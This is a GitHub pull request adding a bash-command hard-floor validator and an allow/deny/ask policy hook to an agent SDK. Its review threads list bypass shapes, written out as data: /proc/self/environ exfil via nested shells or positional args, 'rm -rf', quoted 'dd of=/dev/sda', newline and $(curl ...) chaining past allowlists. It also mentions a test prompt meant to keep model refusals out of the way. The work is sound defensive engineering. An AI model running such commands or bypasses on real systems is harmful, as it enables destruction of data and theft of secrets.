Skip to content

πŸ›‘οΈ feat: Bash Command Validation Hard Floor and Policy Hook#172

Open
danny-avila wants to merge 22 commits into
mainfrom
claude/dreamy-kapitsa-06a93d
Open

πŸ›‘οΈ feat: Bash Command Validation Hard Floor and Policy Hook#172
danny-avila wants to merge 22 commits into
mainfrom
claude/dreamy-kapitsa-06a93d

Conversation

@danny-avila

@danny-avila danny-avila commented May 13, 2026

Copy link
Copy Markdown
Owner

Summary

Shared synchronous bash validator used by both the local engine and the remote BashExecutor, plus a PreToolUse policy hook with an allow/deny/ask DSL.

Validation

  • New src/tools/local/bashValidation.ts with two entry points:

    • validateBashCommandHardFloor β€” always-on for the remote /exec path. Blocks the patterns that should never run on a remote sandbox: rm -rf against protected roots (quoted, nested-shell, positional-arg variants), disk-tampering utilities (mkfs, dd of=/dev/…, fdisk), fork bombs, /proc/<pid>/environ reads (sandbox env exfil β€” the most important one), source $UNBOUND_VAR, and zsh privileged builtins. Not bypassable by config β€” the host doesn't own the remote sandbox.
    • validateBashCommandStatic β€” full regex + bashAst pass; consumed by the local engine and by BashExecutor's opt-in validation: 'auto' | 'strict' mode.
  • LocalExecutionEngine.ts refactored to delegate to the shared module. Regex bodies and the positional-arg check are no longer duplicated between the local engine and the new module.

  • BashExecutor.ts (the remote /exec path) β€” hard floor runs unconditionally before the POST; the new opt-in validation field on BashExecutionToolParams ('off' | 'auto' | 'strict', default 'off') layers the static pass on top for hosts that want it.

Permissions hook

  • New createBashPolicyHook mirroring createWorkspacePolicyHook. DSL:
    • "git:*" β€” prefix match on first token (boundary-aware: gitlab doesn't match)
    • "git push:*" β€” prefix match on the full command
    • "npm test" β€” exact match
    • "*" β€” any
  • Evaluation order: deny > ask > allow > default (defaults to 'allow' so an empty policy is a no-op)
  • Integrates with HITL via the existing 'ask' flow β€” collapses to deny when HITL is off, matching the rest of the SDK
  • toolNames defaults to [BASH_TOOL]; widen to include BASH_PROGRAMMATIC_TOOL_CALLING or EXECUTE_CODE as needed

Bonus fixes (uncovered while running local-engine tests)

  • handleChunk overflow leak: once overflowKilled was set, the first chunk returned but subsequent chunks still fell through to ensureSpill(). A fast-output child (yes) that ignores SIGTERM could write 5–20 GiB to a temp file during the 2s SIGTERMβ†’SIGKILL escalation window. Drop every post-kill chunk.

  • Spill-file lifetime: lc-local-output-*.txt files in tmpdir() outlived the Node process forever (accumulated GiBs of orphans on CI runners and dev machines). Add a per-process registry, clean on process.on('exit'), expose _resetLocalEngineSpillFilesForTests for callers that want eager cleanup. Closes Local engine: spill files in tmpdir are never cleaned upΒ #143.

    Architectural note: the linked issue suggested a Run-scoped registry + Run.complete() hook. This PR uses a process-scoped registry + process.on('exit') instead β€” spill files are designed to outlive individual tool calls within a Run (so the model can read them on a later turn), and the production hosting shape restarts the Node process between Runs, so per-process cleanup is sufficient without threading a Run.dispose() plumbing through every spawn call site.

Test plan

  • npx jest src/tools/__tests__/BashExecutor.validation.test.ts β€” 29 new tests passing
  • npx jest src/hooks/__tests__/createBashPolicyHook.test.ts β€” 14 new tests passing
  • npx jest src/tools/__tests__/LocalExecutionTools.test.ts β€” same pass/fail counts as main (the 11 failures are pre-existing Windows-vs-POSIX path issues, verified via git stash round-trip)
  • npx tsc --noEmit β€” clean
  • npx eslint src/tools/local/bashValidation.ts src/hooks/createBashPolicyHook.ts src/tools/BashExecutor.ts β€” 0 errors, 0 new warnings

Backwards compatibility

  • validateBashCommand keeps its Promise<{ valid, errors, warnings }> shape β€” no caller broken.
  • The remote BashExecutor's new hard floor blocks ~6 categorical patterns that legitimate workloads never produce; existing users running benign commands see no change. The validation config field defaults to 'off' so the bashAst heuristic pass remains opt-in.
  • Local engine behavior unchanged from a caller's perspective.

Threat model

The remote hard floor is defense-in-depth, not the primary boundary β€” the actual sandbox is the Code API /exec endpoint. The floor exists to:

  1. Block patterns that signal model misbehavior regardless of where they run (rm -rf /)
  2. Prevent obvious credential exfil from the sandbox env (/proc/<pid>/environ)
  3. Avoid abuse of the sandbox infrastructure (fork bombs, runaway commands)

For adversarial-model threat models, hosts should still pair this with local.sandbox.enabled: true on the local path.

@danny-avila

Copy link
Copy Markdown
Owner Author

@codex review

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

πŸ’‘ Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 39e05b38c0

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with πŸ‘.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment thread src/tools/local/bashValidation.ts Outdated
// zsh privileged builtins. Skip the warn-severity ones (cmd subst,
// IFS, hex escape, eval/exec) β€” they're too noisy for an always-on
// floor.
const findings = runBashAstChecks(normalized, 'auto');

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Run hard-floor deny checks on raw command text

The hard-floor path runs runBashAstChecks on normalized (quote-stripped) input, so deny-only signatures disappear when they are inside quoted nested-shell payloads. For example, bash -lc 'cat /proc/self/environ' loses /proc/self/environ during stripQuotedContent, so the /proc/.../environ deny check never fires and the command is allowed. This bypass undermines the new always-on exfiltration guard for remote execution.

Useful? React with πŸ‘Β / πŸ‘Ž.

Copy link
Copy Markdown
Owner Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed in 5075e73. The hard floor now scans the original (non-quote-stripped) command text plus all positional args via runBashAstChecks(effectiveCommand, 'auto'), so bash -lc 'cat /proc/self/environ' is caught β€” the deny-pattern matches against the nested-shell payload directly. Regression test: blocks /proc/<pid>/environ inside nested-shell payloads (Codex P1 #1) covers single-quote, double-quote, and eval forms.

Comment on lines +175 to +176
if (!DESTRUCTIVE_OP_IN_COMMAND_RE.test(command)) return undefined;
return args.find((a) => PROTECTED_TARGET_ARG_RE.test(a));

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Validate positional args for exfiltration patterns

findOffendingArg only inspects args when the command matches destructive ops (rm/chmod/chown), so hard-floor exfiltration checks can be bypassed by moving sensitive paths into $1/$2. A call like command: 'cat "$1"', args: ['/proc/self/environ'] bypasses both the regex and AST deny checks (AST sees only $1) and still reads environment secrets. The hard floor should apply sensitive-path arg checks independently of destructive-op detection.

Useful? React with πŸ‘Β / πŸ‘Ž.

Copy link
Copy Markdown
Owner Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed in 5075e73. The hard floor now scans an "effective command" = command + args.join(' '), so command: 'cat "$1"', args: ['/proc/self/environ'] matches the proc-environ deny pattern via the appended arg text. The findOffendingArg check (destructive-op-coupled, for protected-root targets) is kept as-is β€” it's correct for the rm -rf "$1" + ['/'] shape and the new AST-on-effective-command pass covers the exfil class independently. Regression test: blocks /proc/<pid>/environ smuggled via positional arg (Codex P1 #2).

@danny-avila

Copy link
Copy Markdown
Owner Author

@codex review

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

πŸ’‘ Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 5075e7350a

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with πŸ‘.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment thread src/hooks/createBashPolicyHook.ts Outdated
if (command.length === prefix.length) return true;
const next = command.charAt(prefix.length);
// Boundary chars: whitespace or shell-statement separators.
return /[\s;&|<>]/.test(next);

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Disallow shell separators in prefix policy matches

Tighten :* matching so it only accepts whitespace/end-of-command after the prefix. Right now compilePattern treats ;, &, |, <, and > as valid boundaries, so an allow rule like git:* also allows chained payloads such as git status; curl ... or git && rm .... In an allowlist posture (default: 'deny'), this is a policy bypass because the first token satisfies the rule while subsequent commands still execute in the same shell.

Useful? React with πŸ‘Β / πŸ‘Ž.

Copy link
Copy Markdown
Owner Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed in a64650e. Prefix :* patterns now refuse to match any command containing a shell separator (;, &, |, <, >, or backtick) outside quoted spans. A new quote-aware containsShellSeparator scan runs before the prefix test, so git:* no longer matches git status; curl evil.com or git status && rm -rf /tmp etc. β€” hosts that want chained commands authorize each segment explicitly. Regression test: prefix match: shell separators do NOT count as boundary (Codex P1 round-2) covers ;, &&, |, >.

Comment thread src/tools/local/bashValidation.ts Outdated
Comment on lines +325 to +326
args != null && args.length > 0 ? `${command} ${args.join(' ')}` : command;
const findings = runBashAstChecks(effectiveCommand, 'auto');

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Strip comments before running hard-floor AST checks

Run the deny-only AST pass on a comment-stripped representation, not raw command text. The current effectiveCommand feeds runBashAstChecks unfiltered input, so deny patterns can match inside comments (for example, echo ok # cat /proc/self/environ), even though commented text is never executed by bash. This introduces false rejections for benign scripts that document risky commands in comments.

Useful? React with πŸ‘Β / πŸ‘Ž.

Copy link
Copy Markdown
Owner Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed in a64650e. New quote-aware stripComments helper blanks # …\n runs outside quoted spans before the hard-floor AST scan runs, while preserving quoted content (so nested-shell payloads like bash -lc 'cat /proc/self/environ' still see their deny patterns). echo ok # cat /proc/self/environ now passes; echo "cat /proc/self/environ" (path inside an evaluated string) still blocks β€” that's the defense-in-depth tradeoff. Regression tests: does NOT trip on deny patterns inside shell comments and still trips on deny patterns inside quoted strings (not comments).

@danny-avila

Copy link
Copy Markdown
Owner Author

@codex review

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

πŸ’‘ Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: a64650e4c3

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with πŸ‘.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

if (command.length === prefix.length) return true;
const next = command.charAt(prefix.length);
// Boundary char must be whitespace; `gitlab` doesn't match `git:*`.
return /\s/.test(next);

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Reject newline-separated command chains in prefix rules

Prefix rules currently accept any whitespace boundary via \s, so an allowlist entry like git:* matches git status\ncurl https://evil and returns allow under default: 'deny'. In bash, a newline is a command separator (equivalent to ; in a command list), so this lets a second command run outside policy intent even though containsShellSeparator blocks only ; & | < > and backticks. This is a policy-bypass path for multi-line tool input and should be blocked the same way as ;/&& chains.

Useful? React with πŸ‘Β / πŸ‘Ž.

Copy link
Copy Markdown
Owner Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed in 802deff. containsShellSeparator now treats \n and \r (outside quoted spans) as separators, so git:* rejects git status\ncurl https://evil.com. Regression test: prefix match: newline-separated commands are blocked (Codex P1 round-3) covers both newline and carriage return.

@danny-avila

Copy link
Copy Markdown
Owner Author

@codex review

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

πŸ’‘ Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 802deff8ee

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with πŸ‘.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment on lines +154 to +158
char === ';' ||
char === '&' ||
char === '|' ||
char === '<' ||
char === '>' ||

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Block command substitution in prefix policy matching

Prefix rules rely on containsShellSeparator() to reject chained payloads, but this check does not treat $(...) as a separator. As a result, an allowlist like allow: ['git:*'] with default: 'deny' still allows git status $(curl https://attacker) because it starts with git and contains none of ; & | < > \ or newlines, even though Bash executes the substituted command first. This is a policy bypass that permits unauthorized command execution under deny-by-default setups.

Useful? React with πŸ‘Β / πŸ‘Ž.

Copy link
Copy Markdown
Owner Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed in abba9d9. containsShellSeparator now detects $(…) and tracks single-vs-double quote scoping correctly: $(…) and backticks fire outside single quotes (active both bare and inside double quotes, since bash interpolates them there), while ; & | < > \n \r only fire outside any quote. Tests cover git status $(curl evil), backtick form, double-quote-wrapped substitution, and verify that single-quoted substitution is correctly allowed (bash treats it as literal text).

@danny-avila

Copy link
Copy Markdown
Owner Author

@codex review

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

πŸ’‘ Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: abba9d9ca0

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with πŸ‘.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment thread src/tools/local/bashValidation.ts Outdated
Comment on lines +114 to +119
if (char === '#') {
while (i < command.length && command[i] !== '\n') {
i++;
}
output += '\n';
continue;

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Ignore # inside expansions when stripping comments

validateBashCommandHardFloor relies on stripComments before running deny-only bashAst checks, but this loop treats every unquoted # as a comment start. In bash, # is also valid inside parameter expansion (for example, ${v#pat}), so a command like x=1; echo ${x#1}; cat /proc/self/environ gets truncated at ${x#1} and the /proc/.../environ read is never scanned, bypassing the hard-floor exfiltration block on the remote /exec path.

Useful? React with πŸ‘Β / πŸ‘Ž.

Copy link
Copy Markdown
Owner Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed in 125ff68. stripComments now tracks ${…} depth (so # inside parameter expansion stays literal) and only treats # as a comment at word boundaries (start-of-input or after whitespace/separator) β€” cat#foo is one word, not cat plus a comment. Regression tests cover x=1; echo ${x#1}; cat /proc/self/environ, the ${var##*foo} greedy variant, and echo cat#hello; cat /proc/self/environ.

@danny-avila

Copy link
Copy Markdown
Owner Author

@codex review

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

πŸ’‘ Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 125ff68383

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with πŸ‘.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment thread src/hooks/createBashPolicyHook.ts Outdated
Comment on lines +145 to +147
if (char === '\\') {
escaped = true;
continue;

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Handle backslashes correctly in single-quoted spans

The separator scanner treats \ as an escape even inside single quotes, so it can miss real command separators and allow policy bypasses. For example, with allow: ['git:*'] and default: 'deny', git status 'abc\\'; curl https://evil.com is matched as allowed because the parser never closes the single-quoted span, even though Bash does close it (backslash is literal in single quotes) and executes the trailing curl. This means chained commands can slip past deny-by-default policies.

Useful? React with πŸ‘Β / πŸ‘Ž.

Copy link
Copy Markdown
Owner Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed in 601b8f4. Reordered containsShellSeparator so the single-quote check runs BEFORE the escape handler β€” nothing escapes inside single quotes, only the closing ' matters. git status 'abc\'; curl https://evil.com now correctly detects the ; separator after bash closes the quote. Regression test: prefix match: backslash is literal inside single quotes (Codex P1 round-6) covers the exfil shape and verifies the legitimate non-chained case still matches.

Comment thread src/hooks/createBashPolicyHook.ts Outdated
Comment on lines +225 to +229
const exact = pattern.replace(/\s+/g, ' ').trim();
return {
source,
test: (command: string): boolean =>
command.replace(/\s+/g, ' ').trim() === exact,

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Reject newline separators in exact command matching

Exact-match rules currently collapse all whitespace via /\s+/, which includes newlines and carriage returns. That makes an exact allow rule like npm test also match npm\ntest, even though newline is a shell command separator rather than ordinary spacing. In deny-by-default setups this unintentionally authorizes multi-command input under an exact rule; exact matching should preserve or explicitly reject line separators.

Useful? React with πŸ‘Β / πŸ‘Ž.

Copy link
Copy Markdown
Owner Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed in 601b8f4. Exact-match normalization now collapses space + tab only ([ \t]+), preserving newlines so npm\ntest no longer collapses to npm test. Also added a containsShellSeparator gate before exact comparison so any chained / substituted input is refused regardless of how the visible token would collapse. Regression test: exact match: refuses newline-separated input (Codex P2 round-6) covers \n, \r, and ; curl evil suffix forms, plus sanity-checks that multiple spaces and tabs still match.

@danny-avila

Copy link
Copy Markdown
Owner Author

@codex review

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

πŸ’‘ Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 601b8f4445

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with πŸ‘.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment thread src/hooks/createBashPolicyHook.ts Outdated
Comment on lines +101 to +102
if (typeof toolInput.code === 'string' && toolInput.lang === 'bash') {
return toolInput.code;

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Handle run_tools_with_bash code payloads in policy hook

createBashPolicyHook documents that toolNames can include run_tools_with_bash, but extractCommand only returns toolInput.code when toolInput.lang === 'bash'. That tool’s schema uses { code } without a lang field, so policy evaluation falls through command == null and returns allow for every call. In a default: 'deny' or denylist posture, this becomes a full bypass for programmatic bash execution.

Useful? React with πŸ‘Β / πŸ‘Ž.

Copy link
Copy Markdown
Owner Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed in 6fd7298. extractCommand now branches on toolName: bash_tool uses { command }, run_tools_with_bash uses { code } (no lang field), execute_code uses { code } only when lang === 'bash' (so non-bash code on EXECUTE_CODE doesn't get evaluated against bash rules). Regression test extracts code from run_tools_with_bash (Codex P1 round-7) covers the deny-pattern + default-deny cases. Also fixed an existing test that was sending { command } for BASH_PROGRAMMATIC_TOOL_CALLING β€” it only passed because the prior extractor blindly checked command first.

`\\brm\\s+(?:-[^\\s]*[rf][^\\s]*\\s+|-[^\\s]*[r][^\\s]*\\s+-[^\\s]*[f][^\\s]*\\s+)(?:--\\s+)?${DESTRUCTIVE_TARGET}\\s*(?:$|[;&|])`
),
/\b(?:mkfs|mkswap|fdisk|parted|diskutil)\b/,
/\bdd\s+[^;&|]*\bof=\/dev\//,

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Detect quoted dd device targets in hard-floor validator

The hard-floor dd rule only matches of=/dev/... in the quote-stripped string, so commands like dd if=/dev/zero of='/dev/sda' evade this check because stripQuotedContent removes the quoted path before regex matching. Since the remote hard floor is intended to block disk-tampering utilities categorically, this leaves an easy bypass for a dangerous operation.

Useful? React with πŸ‘Β / πŸ‘Ž.

Copy link
Copy Markdown
Owner Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed in 6fd7298. Added a quoted-dd companion to quotedDestructivePatterns (which runs against the ORIGINAL command, not the quote-stripped form): \bdd\s+[^;&|]*\bof=[\"']\/dev\/. Catches dd if=/dev/zero of='/dev/sda', dd if=/dev/zero of=\"/dev/sda\", and dd bs=1M if=/tmp/in of=\"/dev/nvme0n1\". Mirrors the existing rm/chmod/chown quoted-variant pattern. Regression test: blocks dd with quoted device target (Codex P1 round-7).

@danny-avila

Copy link
Copy Markdown
Owner Author

@codex review

@chatgpt-codex-connector

Copy link
Copy Markdown

Codex Review: Didn't find any major issues. Another round soon, please!

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with πŸ‘.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Shared synchronous bash validator used by both the local engine and the
remote `BashExecutor`, plus a `PreToolUse` policy hook with an
allow/deny/ask DSL.

- New `src/tools/local/bashValidation.ts`. Two entry points:
  - `validateBashCommandHardFloor` β€” always-on for the remote `/exec`
    path. Blocks `rm -rf` against protected roots (incl. quoted, nested-
    shell, and positional-arg variants), disk-tampering utilities
    (`mkfs`, `dd of=/dev/…`, `fdisk`), fork bombs, `/proc/<pid>/environ`
    reads (sandbox env exfil), `source $UNBOUND_VAR`, and zsh privileged
    builtins. Not bypassable by config β€” the host doesn't own the remote
    sandbox.
  - `validateBashCommandStatic` β€” full regex + bashAst pass; consumed by
    the local engine and by `BashExecutor`'s opt-in
    `validation: 'auto' | 'strict'` mode.

- `LocalExecutionEngine.ts` refactored to delegate to the shared module.
  Regex bodies and the positional-arg check are no longer duplicated.

- `BashExecutor.ts`: hard floor runs unconditionally before the `/exec`
  POST; opt-in `validation` field on `BashExecutionToolParams` layers
  the static pass on top.

- New `createBashPolicyHook` (mirrors `createWorkspacePolicyHook`).
  DSL: `"git:*"`, `"npm test"`, `"rm -rf:*"`, `"*"`. Evaluation
  `deny > ask > allow > default`. Integrates with HITL via the existing
  `'ask'` flow.

Bonus fixes uncovered while exercising the local-engine tests:

- `handleChunk` overflow leak: once `overflowKilled` was set, the first
  chunk returned but subsequent chunks still fell through to
  `ensureSpill()`. A fast-output child (`yes`) that ignores SIGTERM
  could write 5–20 GiB to a temp file during the 2s SIGTERMβ†’SIGKILL
  escalation window. Drop every post-kill chunk.

- Spill-file lifetime: spill files in `tmpdir()` outlived the Node
  process forever (accumulated GiBs of orphans on CI runners and dev
  machines). Add a per-process registry, clean on `process.on('exit')`,
  expose `_resetLocalEngineSpillFilesForTests` for callers that want
  eager cleanup.

Tests: 43 new (29 BashExecutor floor/static/opt-in; 14 policy hook DSL).
The remote `BashExecutor` hard floor ran `runBashAstChecks` on the
quote-stripped form, leaving two exfil bypasses for the
`/proc/<pid>/environ` deny check:

1. Nested-shell payloads β€” `bash -lc 'cat /proc/self/environ'` had
   `stripQuotedContent` blank the inner payload to whitespace before
   the AST scan, so the deny pattern never matched.

2. Positional-arg exfil β€” `command: 'cat "\$1"', args:
   ['/proc/self/environ']` evaded the `findOffendingArg` check because
   that only fires when the command also matches `rm/chmod/chown`,
   and the AST scan never saw `/proc/self/environ` at all.

Single fix for both: scan an "effective command" assembled from the
raw command text plus every positional arg, against the ORIGINAL
(non-quote-stripped) form. The deny patterns are narrow enough
(`/proc/<pid>/environ`, `source $VAR`, zsh privileged builtins) that
running on the original gives effectively zero false-positive risk
in production workloads.

Two regression tests covering both bypass shapes.
…und 2)

Two follow-ups from the second codex review pass:

- `createBashPolicyHook` prefix `:*` matched commands that contained
  shell separators (`;`, `&`, `|`, `<`, `>`, backticks), so an allow
  rule like `git:*` matched `git status; curl evil.com` β€” the first
  token satisfied the rule and bash still ran the trailing command
  (Codex P1 round-2). Prefix patterns now refuse to match any command
  with a shell separator outside quoted spans; hosts that want chained
  commands authorize each segment explicitly (or use `*` / exact rules).
  Quote-aware separator scan handles `cat "file with ; in name"`
  correctly.

- Hard-floor AST scan ran on the raw command text after the round-1
  fix, so commented mentions of deny patterns false-positived
  (`echo ok # cat /proc/self/environ` got rejected though bash never
  runs that text β€” Codex P2 round-2). New `stripComments` helper blanks
  `# …\n` runs outside quoted spans while preserving quoted content
  (so nested-shell payloads inside `bash -lc '…'` are still visible to
  the AST scan).

Three new regression tests:
- `prefix match: shell separators do NOT count as boundary`
- `does NOT trip on deny patterns inside shell comments`
- `still trips on deny patterns inside quoted strings (not comments)`
`containsShellSeparator` didn't include `\n`/`\r`. Bash treats newlines
as command separators equivalent to `;`, so an allow rule like `git:*`
matched `git status\ncurl https://evil.com` β€” the post-prefix `\n`
satisfied the `\s` boundary, and the separator scan missed it, so bash
ran the trailing curl unauthorized in an allowlist posture.

Add `\n` and `\r` (outside quoted spans) to the separator scan, with a
regression test covering newline, carriage-return, and the canonical
exfil shape.
`containsShellSeparator` didn't detect `$(…)` at all, so an allowlist
rule like `git:*` with `default: 'deny'` still authorized
`git status $(curl https://attacker)` β€” bash runs the substituted
command before `git` sees its expanded args.

Also fixed a related quote-scoping bug: the previous implementation
treated `"…"` contents as fully literal, so `"$(curl evil)"` and
`"\`curl evil\`"` slipped through too. Single quotes correctly suppress
all expansion, but double quotes still interpolate `$()` and backticks.

Split quote handling: `$(…)` and backticks are active outside single
quotes (i.e. outside any quote OR inside double quotes); other
separators (`; & | < > \n \r`) stay restricted to outside-any-quote.

Regression tests cover unquoted, double-quoted, and single-quoted
substitution forms.
`stripComments` treated every unquoted `#` as a comment start, so
`${var#prefix}` parameter expansion truncated the rest of the
command β€” bypassing the hard-floor exfil guard. Example:
`x=1; echo ${x#1}; cat /proc/self/environ` lost the proc-environ read
to the comment-strip.

Two fixes layered:

1. Track `${…}` depth and treat `#` inside parameter expansion as
   literal (it's the expansion operator, not a comment).

2. `#` is a comment marker only at word boundaries β€” start-of-input
   or after whitespace/separator. `cat#foo` is one word; `cat #foo`
   is `cat` plus a comment.

Two regression tests: `${var#prefix}` and `${var##*foo}` (greedy
prefix removal) shapes, plus a mid-word `#` test ensuring `cat#hello`
doesn't blank everything after.
Two bypasses in `createBashPolicyHook`:

- `containsShellSeparator` processed the `\` escape BEFORE checking
  the active quote, so `git status 'abc\'; curl https://evil.com`
  never closed the single-quoted span in our scanner. Bash actually
  DOES close it (backslash is literal in single quotes), so the
  trailing curl ran unauthorized under an allowlist rule. Move the
  single-quote check ahead of the escape handling β€” inside single
  quotes nothing escapes, only the closing `'` matters. (Codex P1)

- Exact-match rules collapsed `/\s+/` (including `\n` and `\r`), so
  an allow rule like `"npm test"` matched `npm\ntest` β€” multi-line
  input bash would split into two commands. Switch the exact
  normalization to `[ \t]+` (space + tab only) and gate it on the
  same `containsShellSeparator` check the prefix rule uses, so any
  chained / substituted input is refused regardless of how it
  collapses. (Codex P2)

Three regression tests cover the single-quote backslash exfil shape,
the legitimate single-quote arg case (still allowed), and exact-
match newline / CR / chained-suffix forms.
Two unrelated P1 bypasses:

- `extractCommand` required `lang === 'bash'` to use `toolInput.code`,
  but `run_tools_with_bash` (BASH_PROGRAMMATIC_TOOL_CALLING) has no
  `lang` field β€” its schema is `{ code, timeout? }`. The hook fell
  through `command == null` and returned `allow` for every call,
  fully bypassing `default: 'deny'` policies. Extractor now branches
  on `toolName` so each bash-shaped tool gets the right input field
  (`command` for `bash_tool`, `code` for `run_tools_with_bash`,
  `code` only when `lang === 'bash'` for `execute_code`).

- `dd if=/dev/zero of='/dev/sda'` evaded the dd guard because
  `dangerousCommandPatterns` runs on the quote-stripped form, which
  blanks the device path. Companion `dd … of=["']/dev/…` pattern
  added to `quotedDestructivePatterns` (which runs on the original
  command), mirroring the existing rm/chmod/chown quoted variants.

Updated the existing "toolNames widens the gate" test to use the
correct `{ code }` shape (the previous test was technically wrong β€”
it passed `{ command }` for BASH_PROGRAMMATIC_TOOL_CALLING and only
worked because the extractor blindly checked `command` for any tool).
New tests cover the run_tools_with_bash deny + default-deny posture
and the single-/double-quoted `dd of=` forms.
Adds `src/scripts/bash_policy_live.ts`, mirroring the
`session_live.ts` pattern introduced in #164. Drives a real LLM
through `createAgentSession` with the local bash tool auto-bound
and (optionally) `createBashPolicyHook` registered, so a single
end-to-end script exercises:

- Session lifecycle and JSONL persistence (#164 surface)
- Tool auto-binding via `toolExecution.engine: 'local'`
- PreToolUse hook dispatch (`createBashPolicyHook`)
- Static validator + hard-floor rejection path
- Actual bash spawn on the happy path

Three scenarios:
- `runHardFloorScenario` β€” asks the agent to read
  `/proc/self/environ`; expects the deny finding to surface in the
  tool message (validator catches it before spawn).
- `runPolicyDenyScenario` β€” registers `deny: ['rm:*']`, asks for an
  `rm` command, expects the policy hook to refuse before the tool
  fires; reason template surfaces in the agent transcript.
- `runHappyPathScenario` β€” pure-allowlist policy, requests
  `echo SAFE_BASH_OK`, asserts the marker is in the tool output and
  the JSONL store recorded user + ai + tool messages.

A `PASSTHROUGH_INSTRUCTIONS` system prompt frames the agent as a
test passthrough so the validation pipeline (not the LLM's safety
training) decides the outcome.

Run:
  npx tsx src/scripts/bash_policy_live.ts
  npx tsx src/scripts/bash_policy_live.ts --provider openai

